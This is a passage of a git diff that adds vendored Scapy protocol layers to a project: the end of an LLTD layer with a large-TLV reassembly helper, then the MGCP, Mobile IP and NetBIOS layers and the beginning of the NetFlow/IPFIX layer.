LLTDAttributeSeesList(LLTDAttribute): + name = "LLTD Attribute - Sees List Working Set" + fields_desc = [ + ByteField("len", 2), + ShortField("max_entries", 0), + ] + + +bind_layers(Ether, LLTD, type=0x88d9) +bind_layers(LLTD, LLTDDiscover, tos=0, function=0) +bind_layers(LLTD, LLTDDiscover, tos=1, function=0) +bind_layers(LLTD, LLTDHello, tos=0, function=1) +bind_layers(LLTD, LLTDHello, tos=1, function=1) +bind_layers(LLTD, LLTDEmit, tos=0, function=2) +bind_layers(LLTD, LLTDQueryResp, tos=0, function=7) +bind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11) +bind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12) +bind_layers(LLTDHello, LLTDAttribute) +bind_layers(LLTDAttribute, LLTDAttribute) +bind_layers(LLTDAttribute, Padding, type=0) +bind_layers(LLTDEmiteeDesc, Padding) +bind_layers(LLTDRecveeDesc, Padding) + + +# Utils +######## + +class LargeTlvBuilder(object): + """An object to build content fetched through LLTDQueryLargeTlv / + LLTDQueryLargeTlvResp packets. + + Usable with a PacketList() object: + >>> p = LargeTlvBuilder() + >>> p.parse(rdpcap('capture_file.cap')) + + Or during a network capture: + >>> p = LargeTlvBuilder() + >>> sniff(filter="ether proto 0x88d9", prn=p.parse) + + To get the result, use .get_data() + + """ + + def __init__(self): + self.types_offsets = {} + self.data = {} + + def parse(self, plist): + """Update the builder using the provided `plist`. `plist` can + be either a Packet() or a PacketList(). + + """ + if not isinstance(plist, PacketList): + plist = PacketList(plist) + for pkt in plist[LLTD]: + if LLTDQueryLargeTlv in pkt: + key = "%s:%s:%d" % (pkt.real_dst, pkt.real_src, pkt.seq) + self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type, + pkt[LLTDQueryLargeTlv].offset) + elif LLTDQueryLargeTlvResp in pkt: + try: + key = "%s:%s:%d" % (pkt.real_src, pkt.real_dst, pkt.seq) + content, offset = self.types_offsets[key] + except KeyError: + continue + loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len) + key = "%s > %s [%s]" % ( + pkt.real_src, pkt.real_dst, + LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content), + ) + data = self.data.setdefault(key, array("B")) + datalen = len(data) + if datalen < loc.stop: + data.extend(array("B", b"\x00" * (loc.stop - datalen))) + data[loc] = array("B", pkt[LLTDQueryLargeTlvResp].value) + + def get_data(self): + """Returns a dictionary object, keys are strings "source > + destincation [content type]", and values are the content + fetched, also as a string. + + """ + return {key: "".join(chr(byte) for byte in data) + for key, data in six.iteritems(self.data)} diff --git a/libs/scapy/layers/mgcp.py b/libs/scapy/layers/mgcp.py new file mode 100755 index 0000000..77ae8e1 --- /dev/null +++ b/libs/scapy/layers/mgcp.py @@ -0,0 +1,47 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +MGCP (Media Gateway Control Protocol) + +[RFC 2805] +""" + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import StrFixedLenField, StrStopField +from scapy.layers.inet import UDP + + +class MGCP(Packet): + name = "MGCP" + longname = "Media Gateway Control Protocol" + fields_desc = [StrStopField("verb", "AUEP", b" ", -1), + StrFixedLenField("sep1", " ", 1), + StrStopField("transaction_id", "1234567", b" ", -1), + StrFixedLenField("sep2", " ", 1), + StrStopField("endpoint", "dummy@dummy.net", b" ", -1), + StrFixedLenField("sep3", " ", 1), + StrStopField("version", "MGCP 1.0 NCS 1.0", b"\x0a", -1), + StrFixedLenField("sep4", b"\x0a", 1), + ] + + +# class MGCP(Packet): +# name = "MGCP" +# longname = "Media Gateway Control Protocol" +# fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), +# ByteField("code0",0), +# ByteField("code1",0), +# ByteField("code2",0), +# ByteField("code3",0), +# ByteField("code4",0), +# IntField("trasid",0), +# IntField("req_time",0), +# ByteField("is_duplicate",0), +# ByteField("req_available",0) ] +# +bind_bottom_up(UDP, MGCP, dport=2727) +bind_bottom_up(UDP, MGCP, sport=2727) +bind_layers(UDP, MGCP, sport=2727, dport=2727) diff --git a/libs/scapy/layers/mobileip.py b/libs/scapy/layers/mobileip.py new file mode 100755 index 0000000..8c0a399 --- /dev/null +++ b/libs/scapy/layers/mobileip.py @@ -0,0 +1,52 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Mobile IP. +""" + +from scapy.fields import ByteEnumField, ByteField, IPField, LongField, \ + ShortField, XByteField +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.layers.inet import IP, UDP + + +class MobileIP(Packet): + name = "Mobile IP (RFC3344)" + fields_desc = [ByteEnumField("type", 1, {1: "RRQ", 3: "RRP"})] + + +class MobileIPRRQ(Packet): + name = "Mobile IP Registration Request (RFC3344)" + fields_desc = [XByteField("flags", 0), + ShortField("lifetime", 180), + IPField("homeaddr", "0.0.0.0"), + IPField("haaddr", "0.0.0.0"), + IPField("coaddr", "0.0.0.0"), + LongField("id", 0), ] + + +class MobileIPRRP(Packet): + name = "Mobile IP Registration Reply (RFC3344)" + fields_desc = [ByteField("code", 0), + ShortField("lifetime", 180), + IPField("homeaddr", "0.0.0.0"), + IPField("haaddr", "0.0.0.0"), + LongField("id", 0), ] + + +class MobileIPTunnelData(Packet): + name = "Mobile IP Tunnel Data Message (RFC3519)" + fields_desc = [ByteField("nexthdr", 4), + ShortField("res", 0)] + + +bind_bottom_up(UDP, MobileIP, dport=434) +bind_bottom_up(UDP, MobileIP, sport=434) +bind_layers(UDP, MobileIP, sport=434, dport=434) +bind_layers(MobileIP, MobileIPRRQ, type=1) +bind_layers(MobileIP, MobileIPRRP, type=3) +bind_layers(MobileIP, MobileIPTunnelData, type=4) +bind_layers(MobileIPTunnelData, IP, nexthdr=4) diff --git a/libs/scapy/layers/netbios.py b/libs/scapy/layers/netbios.py new file mode 100755 index 0000000..86164b5 --- /dev/null +++ b/libs/scapy/layers/netbios.py @@ -0,0 +1,295 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +NetBIOS over TCP/IP + +[RFC 1001/1002] +""" + +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + IPField, IntField, NetBIOSNameField, ShortEnumField, ShortField, \ + StrFixedLenField, XShortField +from scapy.layers.inet import UDP, TCP +from scapy.layers.l2 import SourceMACField + + +class NetBIOS_DS(Packet): + name = "NetBIOS datagram service" + fields_desc = [ + ByteEnumField("type", 17, {17: "direct_group"}), + ByteField("flags", 0), + XShortField("id", 0), + IPField("src", "127.0.0.1"), + ShortField("sport", 138), + ShortField("len", None), + ShortField("ofs", 0), + NetBIOSNameField("srcname", ""), + NetBIOSNameField("dstname", ""), + ] + + def post_build(self, p, pay): + p += pay + if self.len is None: + tmp_len = len(p) - 14 + p = p[:10] + struct.pack("!H", tmp_len) + p[12:] + return p + +# ShortField("length",0), +# ShortField("Delimiter",0), +# ByteField("command",0), +# ByteField("data1",0), +# ShortField("data2",0), +# ShortField("XMIt",0), +# ShortField("RSPCor",0), +# StrFixedLenField("dest","",16), +# StrFixedLenField("source","",16), +# +# ] +# + +# NetBIOS + + +_NETBIOS_SUFFIXES = { + 0x4141: "workstation", + 0x4141 + 0x03: "messenger service", + 0x4141 + 0x200: "file server service", + 0x4141 + 0x10b: "domain master browser", + 0x4141 + 0x10c: "domain controller", + 0x4141 + 0x10e: "browser election service" +} + +_NETBIOS_QRTYPES = { + 0x20: "NB", + 0x21: "NBSTAT" +} + +_NETBIOS_QRCLASS = { + 1: "INTERNET" +} + +_NETBIOS_RNAMES = { + 0xC00C: "Label String Pointer to QUESTION_NAME" +} + +_NETBIOS_OWNER_MODE_TYPES = { + 0: "B node", + 1: "P node", + 2: "M node", + 3: "H node" +} + +_NETBIOS_GNAMES = { + 0: "Unique name", + 1: "Group name" +} + +# Name Query Request +# Node Status Request + + +class NBNSQueryRequest(Packet): + name = "NBNS query request" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0x0110), + ShortField("QDCOUNT", 1), + ShortField("ANCOUNT", 0), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 0), + NetBIOSNameField("QUESTION_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS)] + +# Name Registration Request +# Name Refresh Request +# Name Release Request or Demand + + +class NBNSRequest(Packet): + name = "NBNS request" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0x2910), + ShortField("QDCOUNT", 1), + ShortField("ANCOUNT", 0), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 1), + NetBIOSNameField("QUESTION_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), + ShortEnumField("RR_NAME", 0xC00C, _NETBIOS_RNAMES), + ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), + IntField("TTL", 0), + ShortField("RDLENGTH", 6), + BitEnumField("G", 0, 1, _NETBIOS_GNAMES), + BitEnumField("OWNER_NODE_TYPE", 00, 2, + _NETBIOS_OWNER_MODE_TYPES), + BitEnumField("UNUSED", 0, 13, {0: "Unused"}), + IPField("NB_ADDRESS", "127.0.0.1")] + +# Name Query Response +# Name Registration Response + + +class NBNSQueryResponse(Packet): + name = "NBNS query response" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0x8500), + ShortField("QDCOUNT", 0), + ShortField("ANCOUNT", 1), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 0), + NetBIOSNameField("RR_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), + IntField("TTL", 0x493e0), + ShortField("RDLENGTH", 6), + ShortField("NB_FLAGS", 0), + IPField("NB_ADDRESS", "127.0.0.1")] + +# Name Query Response (negative) +# Name Release Response + + +class NBNSQueryResponseNegative(Packet): + name = "NBNS query response (negative)" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0x8506), + ShortField("QDCOUNT", 0), + ShortField("ANCOUNT", 1), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 0), + NetBIOSNameField("RR_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), + IntField("TTL", 0), + ShortField("RDLENGTH", 6), + BitEnumField("G", 0, 1, _NETBIOS_GNAMES), + BitEnumField("OWNER_NODE_TYPE", 00, 2, + _NETBIOS_OWNER_MODE_TYPES), + BitEnumField("UNUSED", 0, 13, {0: "Unused"}), + IPField("NB_ADDRESS", "127.0.0.1")] + +# Node Status Response + + +class NBNSNodeStatusResponse(Packet): + name = "NBNS Node Status Response" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0x8500), + ShortField("QDCOUNT", 0), + ShortField("ANCOUNT", 1), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 0), + NetBIOSNameField("RR_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("RR_TYPE", 0x21, _NETBIOS_QRTYPES), + ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), + IntField("TTL", 0), + ShortField("RDLENGTH", 83), + ByteField("NUM_NAMES", 1)] + +# Service for Node Status Response + + +class NBNSNodeStatusResponseService(Packet): + name = "NBNS Node Status Response Service" + fields_desc = [StrFixedLenField("NETBIOS_NAME", "WINDOWS ", 15), + ByteEnumField("SUFFIX", 0, {0: "workstation", + 0x03: "messenger service", + 0x20: "file server service", + 0x1b: "domain master browser", + 0x1c: "domain controller", + 0x1e: "browser election service" + }), + ByteField("NAME_FLAGS", 0x4), + ByteEnumField("UNUSED", 0, {0: "unused"})] + +# End of Node Status Response packet + + +class NBNSNodeStatusResponseEnd(Packet): + name = "NBNS Node Status Response" + fields_desc = [SourceMACField("MAC_ADDRESS"), + BitField("STATISTICS", 0, 57 * 8)] + +# Wait for Acknowledgement Response + + +class NBNSWackResponse(Packet): + name = "NBNS Wait for Acknowledgement Response" + fields_desc = [ShortField("NAME_TRN_ID", 0), + ShortField("FLAGS", 0xBC07), + ShortField("QDCOUNT", 0), + ShortField("ANCOUNT", 1), + ShortField("NSCOUNT", 0), + ShortField("ARCOUNT", 0), + NetBIOSNameField("RR_NAME", "windows"), + ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), + ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), + IntField("TTL", 2), + ShortField("RDLENGTH", 2), + BitField("RDATA", 10512, 16)] # 10512=0010100100010000 + + +class NBTDatagram(Packet): + name = "NBT Datagram Packet" + fields_desc = [ByteField("Type", 0x10), + ByteField("Flags", 0x02), + ShortField("ID", 0), + IPField("SourceIP", "127.0.0.1"), + ShortField("SourcePort", 138), + ShortField("Length", 272), + ShortField("Offset", 0), + NetBIOSNameField("SourceName", "windows"), + ShortEnumField("SUFFIX1", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0), + NetBIOSNameField("DestinationName", "windows"), + ShortEnumField("SUFFIX2", 0x4141, _NETBIOS_SUFFIXES), + ByteField("NULL", 0)] + + +class NBTSession(Packet): + name = "NBT Session Packet" + fields_desc = [ByteEnumField("TYPE", 0, {0x00: "Session Message", + 0x81: "Session Request", + 0x82: "Positive Session Response", + 0x83: "Negative Session Response", + 0x84: "Retarget Session Response", + 0x85: "Session Keepalive"}), + BitField("RESERVED", 0x00, 7), + BitField("LENGTH", 0, 17)] + + +bind_layers(UDP, NBNSQueryRequest, dport=137) +bind_layers(UDP, NBNSRequest, dport=137) +bind_layers(UDP, NBNSQueryResponse, sport=137) +bind_layers(UDP, NBNSQueryResponseNegative, sport=137) +bind_layers(UDP, NBNSNodeStatusResponse, sport=137) +bind_layers(NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) +bind_layers(NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) +bind_layers(NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, ) +bind_layers(NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, ) +bind_layers(UDP, NBNSWackResponse, sport=137) +bind_layers(UDP, NBTDatagram, dport=138) +bind_layers(TCP, NBTSession, dport=445) +bind_layers(TCP, NBTSession, sport=445) +bind_layers(TCP, NBTSession, dport=139) +bind_layers(TCP, NBTSession, sport=139) diff --git a/libs/scapy/layers/netflow.py b/libs/scapy/layers/netflow.py new file mode 100755 index 0000000..b147572 --- /dev/null +++ b/libs/scapy/layers/netflow.py @@ -0,0 +1,1689 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license +# Netflow V5 appended by spaceB0x and Guillaume Valadon +# Netflow V9/10 appended ny Gabriel Potter + +""" +Cisco NetFlow protocol v1, v5, v9 and v10 (IPFix) + +HowTo dissect NetflowV9/10 (IPFix) packets + +# From a pcap / list of packets + +Using sniff and sessions:: + + >>> sniff(offline=open("my_great_pcap.pcap", "rb"), session=NetflowSession) + +Using the netflowv9_defragment/ipfix_defragment commands: + +- get a list of packets containing NetflowV9/10 packets +- call `netflowv9_defragment(plist)` to defragment the list + +(ipfix_defragment is an alias for netflowv9_defragment) + +# Live / on-the-flow / other: use NetflowSession:: + + >>> sniff(session=NetflowSession, prn=[...]) + +""" + +import socket +import struct + +from scapy.config import conf +from scapy.data import IP_PROTOS +from scapy.error import warning, Scapy_Exception +from scapy.fields import ByteEnumField, ByteField, Field, FieldLenField, \ + FlagsField, IPField, IntField, MACField, \ + PacketListField, PadField, SecondsIntField, ShortEnumField, ShortField, \ + StrField, StrFixedLenField, ThreeBytesField, UTCTimeField, XByteField, \ + XShortField, LongField, BitField, ConditionalField, BitEnumField, \ + StrLenField +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.plist import PacketList +from scapy.sessions import IPSession, DefaultSession + +from scapy.layers.inet import UDP +from scapy.layers.inet6 import IP6Field + + +class NetflowHeader(Packet): + name = "Netflow Header" + fields_desc = [ShortField("version", 1)] + + +for port in [2055, 2056, 9995, 9996, 6343]: # Classic NetFlow ports + bind_bottom_up(UDP, NetflowHeader, dport=port) + bind_bottom_up(UDP, NetflowHeader, sport=port) +# However, we'll default to 2055, classic among classics :) +bind_layers(UDP, NetflowHeader, dport=2055, sport=2055) + +########################################### +# Netflow Version 1 +########################################### + + +class NetflowHeaderV1(Packet): + name = "Netflow Header v1" + fields_desc = [ShortField("count", None), + IntField("sysUptime", 0), + UTCTimeField("unixSecs", 0), + UTCTimeField("unixNanoSeconds", 0, use_nano=True)] + + def post_build(self, pkt, pay): + if self.count is None: + count = len(self.layers()) - 1 + pkt = struct.pack("!H", count) + pkt[2:] + return pkt + pay + + +class NetflowRecordV1(Packet): + name = "Netflow Record v1" + fields_desc = [IPField("ipsrc", "0.0.0.0"), + IPField("ipdst", "0.0.0.0"), + IPField("nexthop", "0.0.0.0"), + ShortField("inputIfIndex", 0), + ShortField("outpuIfIndex", 0), + IntField("dpkts", 0), + IntField("dbytes", 0), + IntField("starttime", 0), + IntField("endtime", 0), + ShortField("srcport", 0), + ShortField("dstport", 0), + ShortField("padding", 0), + ByteField("proto", 0), + ByteField("tos", 0), + IntField("padding1", 0), + IntField("padding2", 0)] + + +bind_layers(NetflowHeader, NetflowHeaderV1, version=1) +bind_layers(NetflowHeaderV1, NetflowRecordV1) +bind_layers(NetflowRecordV1, NetflowRecordV1) + + +######################################### +# Netflow Version 5 +######################################### + + +class NetflowHeaderV5(Packet): + name = "Netflow Header v5" + fields_desc = [ShortField("count", None), + IntField("sysUptime", 0), + UTCTimeField("unixSecs", 0), + UTCTimeField("unixNanoSeconds", 0, use_nano=True), + IntField("flowSequence", 0), + ByteField("engineType", 0), + ByteField("engineID", 0), + ShortField("samplingInterval", 0)] + + def post_build(self, pkt, pay): + if self.count is None: + count = len(self.layers()) - 1 + pkt = struct.pack("!H", count) + pkt[2:] + return pkt + pay + + +class NetflowRecordV5(Packet): + name = "Netflow Record v5" + fields_desc = [IPField("src", "127.0.0.1"), + IPField("dst", "127.0.0.1"), + IPField("nexthop", "0.0.0.0"), + ShortField("input", 0), + ShortField("output", 0), + IntField("dpkts", 1), + IntField("dOctets", 60), + IntField("first", 0), + IntField("last", 0), + ShortField("srcport", 0), + ShortField("dstport", 0), + ByteField("pad1", 0), + FlagsField("tcpFlags", 0x2, 8, "FSRPAUEC"), + ByteEnumField("prot", socket.IPPROTO_TCP, IP_PROTOS), + ByteField("tos", 0), + ShortField("src_as", 0), + ShortField("dst_as", 0), + ByteField("src_mask", 0), + ByteField("dst_mask", 0), + ShortField("pad2", 0)] + + +bind_layers(NetflowHeader, NetflowHeaderV5, version=5) +bind_layers(NetflowHeaderV5, NetflowRecordV5) +bind_layers(NetflowRecordV5, NetflowRecordV5) + +######################################### +# Netflow Version 9/10 +######################################### + +# NetflowV9 RFC +# https://www.ietf.org/rfc/rfc3954.txt + +# IPFix RFC +# https://tools.ietf.org/html/rfc5101 +# https://tools.ietf.org/html/rfc5655 + +# This is v9_v10_template_types (with names from the rfc for the first 79) +# https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-netflow.c # noqa: E501 +# (it has all values external to the RFC) +NTOP_BASE = 57472 +NetflowV910TemplateFieldTypes = { + 1: "IN_BYTES", + 2: "IN_PKTS", + 3: "FLOWS", + 4: "PROTOCOL", + 5: "TOS", + 6: "TCP_FLAGS", + 7: "L4_SRC_PORT", + 8: "IPV4_SRC_ADDR", + 9: "SRC_MASK", + 10: "INPUT_SNMP", + 11: "L4_DST_PORT", + 12: "IPV4_DST_ADDR", + 13: "DST_MASK", + 14: "OUTPUT_SNMP", + 15: "IPV4_NEXT_HOP", + 16: "SRC_AS", + 17: "DST_AS", + 18: "BGP_IPV4_NEXT_HOP", + 19: "MUL_DST_PKTS", + 20: "MUL_DST_BYTES", + 21: "LAST_SWITCHED", + 22: "FIRST_SWITCHED", + 23: "OUT_BYTES", + 24: "OUT_PKTS", + 25: "IP_LENGTH_MINIMUM", + 26: "IP_LENGTH_MAXIMUM", + 27: "IPV6_SRC_ADDR", + 28: "IPV6_DST_ADDR", + 29: "IPV6_SRC_MASK", + 30: "IPV6_DST_MASK", + 31: "IPV6_FLOW_LABEL", + 32: "ICMP_TYPE", + 33: "MUL_IGMP_TYPE", + 34: "SAMPLING_INTERVAL", + 35: "SAMPLING_ALGORITHM", + 36: "FLOW_ACTIVE_TIMEOUT", + 37: "FLOW_INACTIVE_TIMEOUT", + 38: "ENGINE_TYPE", + 39: "ENGINE_ID", + 40: "TOTAL_BYTES_EXP", + 41: "TOTAL_PKTS_EXP", + 42: "TOTAL_FLOWS_EXP", + 43: "IPV4_ROUTER_SC", + 44: "IP_SRC_PREFIX", + 45: "IP_DST_PREFIX", + 46: "MPLS_TOP_LABEL_TYPE", + 47: "MPLS_TOP_LABEL_IP_ADDR", + 48: "FLOW_SAMPLER_ID", + 49: "FLOW_SAMPLER_MODE", + 50: "FLOW_SAMPLER_RANDOM_INTERVAL", + 51: "FLOW_CLASS", + 52: "IP TTL MINIMUM", + 53: "IP TTL MAXIMUM", + 54: "IPv4 ID", + 55: "DST_TOS", + 56: "SRC_MAC", + 57: "DST_MAC", + 58: "SRC_VLAN", + 59: "DST_VLAN", + 60: "IP_PROTOCOL_VERSION", + 61: "DIRECTION", + 62: "IPV6_NEXT_HOP", + 63: "BGP_IPV6_NEXT_HOP", + 64: "IPV6_OPTION_HEADERS", + 70: "MPLS_LABEL_1", + 71: "MPLS_LABEL_2", + 72: "MPLS_LABEL_3", + 73: "MPLS_LABEL_4", + 74: "MPLS_LABEL_5", + 75: "MPLS_LABEL_6", + 76: "MPLS_LABEL_7", + 77: "MPLS_LABEL_8", + 78: "MPLS_LABEL_9", + 79: "MPLS_LABEL_10", + 80: "DESTINATION_MAC", + 81: "SOURCE_MAC", + 82: "IF_NAME", + 83: "IF_DESC", + 84: "SAMPLER_NAME", + 85: "BYTES_TOTAL", + 86: "PACKETS_TOTAL", + 88: "FRAGMENT_OFFSET", + 89: "FORWARDING_STATUS", + 90: "VPN_ROUTE_DISTINGUISHER", + 91: "mplsTopLabelPrefixLength", + 92: "SRC_TRAFFIC_INDEX", + 93: "DST_TRAFFIC_INDEX", + 94: "APPLICATION_DESC", + 95: "APPLICATION_ID", + 96: "APPLICATION_NAME", + 98: "postIpDiffServCodePoint", + 99: "multicastReplicationFactor", + 101: "classificationEngineId", + 128: "DST_AS_PEER", + 129: "SRC_AS_PEER", + 130: "exporterIPv4Address", + 131: "exporterIPv6Address", + 132: "DROPPED_BYTES", + 133: "DROPPED_PACKETS", + 134: "DROPPED_BYTES_TOTAL", + 135: "DROPPED_PACKETS_TOTAL", + 136: "flowEndReason", + 137: "commonPropertiesId", + 138: "observationPointId", + 139: "icmpTypeCodeIPv6", + 140: "MPLS_TOP_LABEL_IPv6_ADDRESS", + 141: "lineCardId", + 142: "portId", + 143: "meteringProcessId", + 144: "FLOW_EXPORTER", + 145: "templateId", + 146: "wlanChannelId", + 147: "wlanSSID", + 148: "flowId", + 149: "observationDomainId", + 150: "flowStartSeconds", + 151: "flowEndSeconds", + 152: "flowStartMilliseconds", + 153: "flowEndMilliseconds", + 154: "flowStartMicroseconds", + 155: "flowEndMicroseconds", + 156: "flowStartNanoseconds", + 157: "flowEndNanoseconds", + 158: "flowStartDeltaMicroseconds", + 159: "flowEndDeltaMicroseconds", + 160: "systemInitTimeMilliseconds", + 161: "flowDurationMilliseconds", + 162: "flowDurationMicroseconds", + 163: "observedFlowTotalCount", + 164: "ignoredPacketTotalCount", + 165: "ignoredOctetTotalCount", + 166: "notSentFlowTotalCount", + 167: "notSentPacketTotalCount", + 168: "notSentOctetTotalCount", + 169: "destinationIPv6Prefix", + 170: "sourceIPv6Prefix", + 171: "postOctetTotalCount", + 172: "postPacketTotalCount", + 173: "flowKeyIndicator", + 174: "postMCastPacketTotalCount", + 175: "postMCastOctetTotalCount", + 176: "ICMP_IPv4_TYPE", + 177: "ICMP_IPv4_CODE", + 178: "ICMP_IPv6_TYPE", + 179: "ICMP_IPv6_CODE", + 180: "UDP_SRC_PORT", + 181: "UDP_DST_PORT", + 182: "TCP_SRC_PORT", + 183: "TCP_DST_PORT", + 184: "TCP_SEQ_NUM", + 185: "TCP_ACK_NUM", + 186: "TCP_WINDOW_SIZE", + 187: "TCP_URGENT_PTR", + 188: "TCP_HEADER_LEN", + 189: "IP_HEADER_LEN", + 190: "IP_TOTAL_LEN", + 191: "payloadLengthIPv6", + 192: "IP_TTL", + 193: "nextHeaderIPv6", + 194: "mplsPayloadLength", + 195: "IP_DSCP", + 196: "IP_PRECEDENCE", + 197: "IP_FRAGMENT_FLAGS", + 198: "DELTA_BYTES_SQUARED", + 199: "TOTAL_BYTES_SQUARED", + 200: "MPLS_TOP_LABEL_TTL", + 201: "MPLS_LABEL_STACK_OCTETS", + 202: "MPLS_LABEL_STACK_DEPTH", + 203: "MPLS_TOP_LABEL_EXP", + 204: "IP_PAYLOAD_LENGTH", + 205: "UDP_LENGTH", + 206: "IS_MULTICAST", + 207: "IP_HEADER_WORDS", + 208: "IP_OPTION_MAP", + 209: "TCP_OPTION_MAP", + 210: "paddingOctets", + 211: "collectorIPv4Address", + 212: "collectorIPv6Address", + 213: "collectorInterface", + 214: "collectorProtocolVersion", + 215: "collectorTransportProtocol", + 216: "collectorTransportPort", + 217: "exporterTransportPort", + 218: "tcpSynTotalCount", + 219: "tcpFinTotalCount", + 220: "tcpRstTotalCount", + 221: "tcpPshTotalCount", + 222: "tcpAckTotalCount", + 223: "tcpUrgTotalCount", + 224: "ipTotalLength", + 225: "postNATSourceIPv4Address", + 226: "postNATDestinationIPv4Address", + 227: "postNAPTSourceTransportPort", + 228: "postNAPTDestinationTransportPort", + 229: "natOriginatingAddressRealm", + 230: "natEvent", + 231: "initiatorOctets", + 232: "responderOctets", + 233: "firewallEvent", + 234: "ingressVRFID", + 235: "egressVRFID", + 236: "VRFname", + 237: "postMplsTopLabelExp", + 238: "tcpWindowScale", + 239: "biflowDirection", + 240: "ethernetHeaderLength", + 241: "ethernetPayloadLength", + 242: "ethernetTotalLength", + 243: "dot1qVlanId", + 244: "dot1qPriority", + 245: "dot1qCustomerVlanId", + 246: "dot1qCustomerPriority", + 247: "metroEvcId", + 248: "metroEvcType", + 249: "pseudoWireId", + 250: "pseudoWireType", + 251: "pseudoWireControlWord", + 252: "ingressPhysicalInterface", + 253: "egressPhysicalInterface", + 254: "postDot1qVlanId", + 255: "postDot1qCustomerVlanId", + 256: "ethernetType", + 257: "postIpPrecedence", + 258: "collectionTimeMilliseconds", + 259: "exportSctpStreamId", + 260: "maxExportSeconds", + 261: "maxFlowEndSeconds", + 262: "messageMD5Checksum", + 263: "messageScope", + 264: "minExportSeconds", + 265: "minFlowStartSeconds", + 266: "opaqueOctets", + 267: "sessionScope", + 268: "maxFlowEndMicroseconds", + 269: "maxFlowEndMilliseconds", + 270: "maxFlowEndNanoseconds", + 271: "minFlowStartMicroseconds", + 272: "minFlowStartMilliseconds", + 273: "minFlowStartNanoseconds", + 274: "collectorCertificate", + 275: "exporterCertificate", + 276: "dataRecordsReliability", + 277: "observationPointType", + 278: "newConnectionDeltaCount", + 279: "connectionSumDurationSeconds", + 280: "connectionTransactionId", + 281: "postNATSourceIPv6Address", + 282: "postNATDestinationIPv6Address", + 283: "natPoolId", + 284: "natPoolName", + 285: "anonymizationFlags", + 286: "anonymizationTechnique", + 287: "informationElementIndex", + 288: "p2pTechnology", + 289: "tunnelTechnology", + 290: "encryptedTechnology", + 291: "basicList", + 292: "subTemplateList", + 293: "subTemplateMultiList", + 294: "bgpValidityState", + 295: "IPSecSPI", + 296: "greKey", + 297: "natType", + 298: "initiatorPackets", + 299: "responderPackets", + 300: "observationDomainName", + 301: "selectionSequenceId", + 302: "selectorId", + 303: "informationElementId", + 304: "selectorAlgorithm", + 305: "samplingPacketInterval", + 306: "samplingPacketSpace", + 307: "samplingTimeInterval", + 308: "samplingTimeSpace", + 309: "samplingSize", + 310: "samplingPopulation", + 311: "samplingProbability", + 312: "dataLinkFrameSize", + 313: "IP_SECTION HEADER", + 314: "IP_SECTION PAYLOAD", + 315: "dataLinkFrameSection", + 316: "mplsLabelStackSection", + 317: "mplsPayloadPacketSection", + 318: "selectorIdTotalPktsObserved", + 319: "selectorIdTotalPktsSelected", + 320: "absoluteError", + 321: "relativeError", + 322: "observationTimeSeconds", + 323: "observationTimeMilliseconds", + 324: "observationTimeMicroseconds", + 325: "observationTimeNanoseconds", + 